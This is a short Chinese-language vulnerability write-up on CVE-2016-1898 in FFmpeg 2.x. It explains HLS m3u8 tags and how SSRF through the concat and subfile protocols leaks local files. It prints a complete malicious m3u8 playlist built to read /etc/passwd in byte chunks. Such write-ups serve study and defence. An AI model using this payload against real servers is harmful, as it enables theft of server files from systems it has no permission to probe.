(CVE-2016-1898)Ffmpeg 任意文件读取漏洞
一、漏洞简介
CVE-2016-1898可以读取文件任意行
#EXTM3U 标签是m3u8的文件头,开头必须要这一行
#EXT-X-TARGETDURATION 表示整个媒体的长度 这里是6秒
#EXT-X-VERSION:2 该标签可有可无
#EXTINF:6, 表示该一段TS流文件的长度
#EXT-X-ENDLIST 这个相当于文件结束符
二、漏洞影响
FFmpeg 2.x
三、复现过程
FFmpeg 2.x版本允许攻击者通过服务器端请求伪造(SSRF:Server-Side Request Forgery) 恶意远程窃取服务器端本地文件,由于ffmpeg的hls没有进行对file域协议进行有效限制,导致攻击者可通过构造hls切片索引文件以及ffmpeg对subfile的支持(https://www.0-sec.org/ffmpeg-protocols.html#subfile )来恶意远程窃取服务器端本地文件/etc/passwd,所构造的恶意视频文件如下所示:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://localhost/header.m3u8|subfile,,start,0,end,64,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,64,end,128,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,128,end,256,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,256,end,512,,:///etc/passwd
#EXT-X-ENDLIST